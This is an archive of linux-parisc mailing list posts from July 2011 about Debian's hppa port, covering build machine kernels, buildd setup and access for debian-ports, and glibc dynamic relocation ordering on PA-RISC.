Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Thu, 07 Jul 2011 13:26:52 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <4E15EC5C.10702@bell.net>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca> <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com> <20110601021049.GB3984@hiauly1.hia.nrc.ca> <BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com> <E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca> <CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com> <20110707161810.GC12243@dannf.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310059624 16353 80.91.229.12 (7 Jul 2011 17:27:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 17:27:04 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 07 19:26:58 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QesLp-0008Om-Pc
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jul 2011 19:26:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755189Ab1GGR04 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 13:26:56 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:51353 "EHLO
	mail-09.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1755125Ab1GGR04 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 13:26:56 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.103])
	by mail-09.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1QesLk-0006cN-0q; Thu, 07 Jul 2011 13:26:52 -0400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11
In-Reply-To: <20110707161810.GC12243@dannf.org>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.103]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3854
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3854>

On 7/7/2011 12:18 PM, dann frazier wrote:
> On Thu, Jul 07, 2011 at 05:49:36PM +0200, Thibaut VARENE wrote:
>> On Thu, Jul 7, 2011 at 1:20 AM, John David Anglin
>> <dave.anglin@nrc-cnrc.gc.ca>  wrote:
>>> Hi Thibaut,
>>>
>>> On 13-Jun-11, at 6:19 PM, Thibaut VARENE wrote:
>>>
>>>>> I would say your other machines need updating even if the process is
>>>>> somewhat rocky as that's the only way a broadbased release can be tested.
>>>> Well I can assign one machine (the a500, being easy to reboot/fix as
>>>> it is) to testing kernels, but for a stable kernel suitable for the
>>>> machines I'm e.g. assigning to the GCC Compile Farm[0], what would be
>>>> a good SMP kernel version to choose? I'm looking for the same level of
>>>> hassle-freeness as 2.6.22.19 since these machines are under relatively
>>>> heavy load and I cannot afford to tend to their care on a daily basis
>>>> ;-)
>>> Sorry for the delay in responding.  I think assigning the a500 to the GCC
>>> farm
>>> provides good visibility.  For GCC, the kernel version doesn't matter much.
>>>   The
>>> main issue is stability.
>> OK, so I suppose it's fine to stick with 2.6.22.19? I thought there
>> were issues with un-implemented syscalls and such, so I don't really
>> know...
>>
This comment was specific to building and testing GCC.  It currently 
takes slightly over
24 hours to build and test GCC trunk on my c3750.

> Honestly, the most reliable build machine I've used is my
> C3700. I don't recall ever having any build issues with
> that. Anything it gives up in speed is definitely outweighed by
> having to e.g. retry gcc 5 times before succeeding. By the end of the
> port, I'd normally handbuild new gcc uploads here to avoid thrashing
> on the real buildds. If given the option, I'd recommend 3 of those
> boxes for a buildd ring.
>
Based on my testing, it's no longer necessary to try 5 times before 
succeeding with rp3440.
I agree that the C37XX machines are very stable and don't suffer from 
the SMP/cache
issues present in the servers.  If the ring above could be arranged, 
that would be excellent.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Sort output dynamic relocations.
Date: Thu, 07 Jul 2011 13:44:14 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <4E15F06E.8040601@bell.net>
References: <CADZpyiyS2m9cc=RuUg+DOc3xfEMFOAfdYWwFLbjDTUmgqtnDsQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310060664 22782 80.91.229.12 (7 Jul 2011 17:44:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 17:44:24 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 07 19:44:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qesca-0002Dd-9y
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jul 2011 19:44:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751880Ab1GGRoP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 13:44:15 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:46473 "EHLO
	mail-10.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750830Ab1GGRoP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 13:44:15 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.103])
	by mail-10.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1QescY-0002go-0J; Thu, 07 Jul 2011 13:44:14 -0400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11
In-Reply-To: <CADZpyiyS2m9cc=RuUg+DOc3xfEMFOAfdYWwFLbjDTUmgqtnDsQ@mail.gmail.com>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.103]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3855>

On 7/7/2011 11:29 AM, Carlos O'Donell wrote:
> Dave,
>
> FYI.
>
> PA should be sorting relocations in .rlea.dyn such that realtive
> relocations (DIR32) are listed first before opd relocs (PLABEL32).
I imagine that this shouldn't be too hard to implement.
> This is required for the dynamic linker in glibc to operate correctly.

Is this related to the initfini_array issue?

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Thu, 7 Jul 2011 19:51:03 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <CA+DQjFj_cob8xKHsUU194=n-CzjSCwR9Qn6xY5BjKrw2=oou+Q@mail.gmail.com>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
 <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com> <20110601021049.GB3984@hiauly1.hia.nrc.ca>
 <BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com> <E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca>
 <CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com> <4E15DBEB.9040703@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310061096 25537 80.91.229.12 (7 Jul 2011 17:51:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 17:51:36 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	dann frazier <dannf@dannf.org>, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 07 19:51:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QesjV-0006nO-AT
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jul 2011 19:51:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752093Ab1GGRvY convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 13:51:24 -0400
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:36239 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751880Ab1GGRvX convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 13:51:23 -0400
Original-Received: by ywe9 with SMTP id 9so466385ywe.19
        for <linux-parisc@vger.kernel.org>; Thu, 07 Jul 2011 10:51:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=qfIw4qQw/CVytyV0hsPYOstzVOp+MbOAxiVkSD2YC3E=;
        b=YFHGf/v1wDHleWHVpdIcoyJW7rgH/HlaXUxVEhvP+LGfsRFJYSB1wcZEjNgJthd+dw
         /VpKR7dO+uUbh7EDrKWmSj4hyAXqUC23H2qFfTlA9WCrFZi3K3CjkBxMUKA0MqJbrK8H
         5gnrST87JlqVaffR7Z2DFexZokDXztM0+b++4=
Original-Received: by 10.151.86.14 with SMTP id o14mr1164424ybl.236.1310061083044; Thu,
 07 Jul 2011 10:51:23 -0700 (PDT)
Original-Received: by 10.151.110.7 with HTTP; Thu, 7 Jul 2011 10:51:03 -0700 (PDT)
In-Reply-To: <4E15DBEB.9040703@bell.net>
X-Google-Sender-Auth: 20Db2CP5JBaVJwRzO1anklOi1zQ
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3856
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3856>

On Thu, Jul 7, 2011 at 6:16 PM, John David Anglin <dave.anglin@bell.net=
> wrote:


> The kernel on the rp3440 needs updating. =C2=A02.6.22.19 is not stabl=
e under
> load. =C2=A0To do this,
> remote access to the console would be needed. =C2=A0Many bugs have be=
en fixed

Carlos has access to the ESIEE cluster already. I can set you up as
well, I just need a ssh pubkey and a preferred login.

HTH
T-Bone
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurel32@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Thu, 7 Jul 2011 23:59:07 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <20110707215907.GA1837@hall.aurel32.net>
References: <20110527213516.GH21744@dannf.org>
 <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
 <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com>
 <20110601021049.GB3984@hiauly1.hia.nrc.ca>
 <BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com>
 <E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca>
 <CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com>
 <CADZpyiy8O_tsm=41fNCbC_nPq77RdsEfD=UahR_yxtdm7P7u0A@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310078633 4356 80.91.229.12 (7 Jul 2011 22:43:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 22:43:53 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 00:43:48 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QexIR-000271-Eq
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 00:43:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753295Ab1GGWnq convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 18:43:46 -0400
Original-Received: from hall.aurel32.net ([88.191.126.93]:48431 "EHLO hall.aurel32.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753017Ab1GGWnq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 18:43:46 -0400
X-Greylist: delayed 2669 seconds by postgrey-1.27 at vger.kernel.org; Thu, 07 Jul 2011 18:43:45 EDT
Original-Received: from aurel32 by hall.aurel32.net with local (Exim 4.72)
	(envelope-from <aurelien@aurel32.net>)
	id 1QewbD-0000zN-Um; Thu, 07 Jul 2011 23:59:07 +0200
Content-Disposition: inline
In-Reply-To: <CADZpyiy8O_tsm=41fNCbC_nPq77RdsEfD=UahR_yxtdm7P7u0A@mail.gmail.com>
X-Mailer: Mutt 1.5.20 (2009-06-14)
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3857
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3857>

On Thu, Jul 07, 2011 at 12:03:48PM -0400, Carlos O'Donell wrote:
> On Thu, Jul 7, 2011 at 11:49 AM, Thibaut VARENE <T-Bone@parisc-linux.=
org> wrote:
> > I have no problem with this, the only "active" user of the rp3440 i=
s
> > Aur=E9lien, so I suppose it wouldn't be a problem. Yet, my understa=
nding
> > is that the rp3440 is extremely slow at building anything (much slo=
wer
> > than my other machines, it seems) because of the cache flush issues=
=2E
> > AIUI that's why Debian stuck to J6700 for buildds, because those
> > machines were a lot faster.
> >
> > Other than that, the rp3440 currently runs unstable with 2.6.22.19,=
 so
> > I suppose a complete reinstall would be in order, and I'm not sure =
I
> > have time to deal with that just yet. I'd be happy to provide remot=
e
> > access to the machine though, if someone steps up. FWIW, the only
> > machine I have left running lenny is a J5000, 2x440MHz PA8500,
> > previously used as an autobuilder for debian-multimedia.org.
>=20
> I can do the install and help monitor the box.
>=20
> Aurelien,
>=20
> Exactly what do we need installed for debian-ports?
>=20

All the list of things to provide for debian-ports are available from m=
y
previous post back in April:

  http://lists.debian.org/debian-hppa/2011/04/msg00026.html

Please note that the first point is not relevant anymore given that I
have done the import myself:

  http://lists.debian.org/debian-hppa/2011/05/msg00002.html

--=20
Aurelien Jarno	                        GPG: 1024D/F1BCDB73
aurelien@aurel32.net                 http://www.aurel32.net
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Thu, 7 Jul 2011 19:02:28 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <CADZpyiwaKjhqWJ0kGh4kV1BZSa02=OGVPYeHxQA9iD8LVnkEqQ@mail.gmail.com>
References: <20110527213516.GH21744@dannf.org>
	<20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
	<BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com>
	<20110601021049.GB3984@hiauly1.hia.nrc.ca>
	<BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com>
	<E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca>
	<CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com>
	<CADZpyiy8O_tsm=41fNCbC_nPq77RdsEfD=UahR_yxtdm7P7u0A@mail.gmail.com>
	<20110707215907.GA1837@hall.aurel32.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310079756 9839 80.91.229.12 (7 Jul 2011 23:02:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 23:02:36 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org
To: Aurelien Jarno <aurel32@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 01:02:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QexaZ-0002TV-3t
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 01:02:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753346Ab1GGXCa convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 19:02:30 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:44761 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752303Ab1GGXC3 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 19:02:29 -0400
Original-Received: by ewy4 with SMTP id 4so485078ewy.19
        for <linux-parisc@vger.kernel.org>; Thu, 07 Jul 2011 16:02:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=SHo4YlJjT9AIeIt22KzL6EzCd0yPgY3hT51NdkJhlYM=;
        b=aWxQeREeuwvY6qQ2FLcK9PelOzjkp6fyPd5aE0jrJA9JE0NT4zzErVQ2YxQZ7+8WdX
         xvV2ohg+2dhaG+aKFc1vMdosgONcwoTj9DujqjE4N4gxROCI/UzVtmPd3uvklgxVggmd
         PQy8VY9AjAtPYDfVQYrE8Vvqe9sofGxaIUCcA=
Original-Received: by 10.14.15.102 with SMTP id e78mr394940eee.8.1310079748534; Thu, 07
 Jul 2011 16:02:28 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Thu, 7 Jul 2011 16:02:28 -0700 (PDT)
In-Reply-To: <20110707215907.GA1837@hall.aurel32.net>
X-Google-Sender-Auth: JYAT1VZczUc_KX_YIpsNs06sIcI
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3858>

On Thu, Jul 7, 2011 at 5:59 PM, Aurelien Jarno <aurel32@debian.org> wro=
te:
> All the list of things to provide for debian-ports are available from=
 my
> previous post back in April:
>
> =A0http://lists.debian.org/debian-hppa/2011/04/msg00026.html
>
> Please note that the first point is not relevant anymore given that I
> have done the import myself:
>
> =A0http://lists.debian.org/debian-hppa/2011/05/msg00002.html

- A place/way to fetch all the .deb that have to be import with the
  corresponding .changes.

This is done.

- List of persons who need to have access to the wanna-build interface.
  If some of them are not DD, please also provide mail/login/ssh key.

I would like to have access to the wanna-build interface.

I will have Dann Frazier send you my mail/login/ssh key as a signed ema=
il.

- List of persons who should be able to upload packages to the archive
  with the corresponding GPG keys (that should include buildds
  maintainers).

I will have Dann Frazier send you my GPG key in the same signed email.

- List of emails to be used as a contact point for alpha/hppa buildds
  and alpha/hppa related things.

In the email from Dann.

- List of buildds with their IP, SSH key and mail address.

What do you want installed on the buildds?

I've setup a buildd before, but the truth is that I had to crib the
information from various sources.

Is there actually a guide for this available anywhere?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Sort output dynamic relocations.
Date: Thu, 7 Jul 2011 19:13:13 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <CADZpyixAMSZaNY_cU09MEz+bbH4yUvyGxcmZxbiAqJU4hK-7WQ@mail.gmail.com>
References: <CADZpyiyS2m9cc=RuUg+DOc3xfEMFOAfdYWwFLbjDTUmgqtnDsQ@mail.gmail.com>
	<4E15F06E.8040601@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1310080405 13170 80.91.229.12 (7 Jul 2011 23:13:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 23:13:25 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 01:13:18 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qexkz-00087k-Kd
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 01:13:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752958Ab1GGXNQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 19:13:16 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:55570 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752612Ab1GGXNP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 19:13:15 -0400
Original-Received: by ewy4 with SMTP id 4so486988ewy.19
        for <linux-parisc@vger.kernel.org>; Thu, 07 Jul 2011 16:13:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=QjoOjMfFtTKqDNILB6Bx+xVZ6srjXz4A6QWU8R/OjrY=;
        b=ipyT0qUgPkQ/0ZoPyMf/RE8pycuQR/26FVXIwlWvRi7r/s+jww49mXZdh/PriT2z3S
         2GCvc1N96xLvNroLD47IwaWPNJO//dFTb+riRmo6Q6KObDMpsGl0HIE3SfnpBITsFyuU
         UCYGHpt57VsS/32c1DD2UAQ81bVBOkVDcjffA=
Original-Received: by 10.14.42.12 with SMTP id i12mr402058eeb.72.1310080394389; Thu, 07
 Jul 2011 16:13:14 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Thu, 7 Jul 2011 16:13:13 -0700 (PDT)
In-Reply-To: <4E15F06E.8040601@bell.net>
X-Google-Sender-Auth: Rb9CWQcObj7-LWYXk88fNucmoJs
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3859
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3859>

On Thu, Jul 7, 2011 at 1:44 PM, John David Anglin <dave.anglin@bell.net> wrote:
> On 7/7/2011 11:29 AM, Carlos O'Donell wrote:
>>
>> Dave,
>>
>> FYI.
>>
>> PA should be sorting relocations in .rlea.dyn such that realtive
>> relocations (DIR32) are listed first before opd relocs (PLABEL32).
>
> I imagine that this shouldn't be too hard to implement.
>>
>> This is required for the dynamic linker in glibc to operate correctly.
>
> Is this related to the initfini_array issue?

No. It's an internal glibc issues. The OPD relocation code has a
relative relocation in it, and it crashes because the OPD relocs are
*before* the relative relocs, and it should be the other way around.
We've just gotten lucky.

I have not seen any initfini_array issues, perhaps because I'm using
glibc git head which might have a generic fix for that, I saw some
related patches go into head.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Fri, 8 Jul 2011 17:00:11 +0200
Lines: 210
Approved: news@gmane.org
Message-ID: <201107081700.19668.eike-kernel@sf-tec.de>
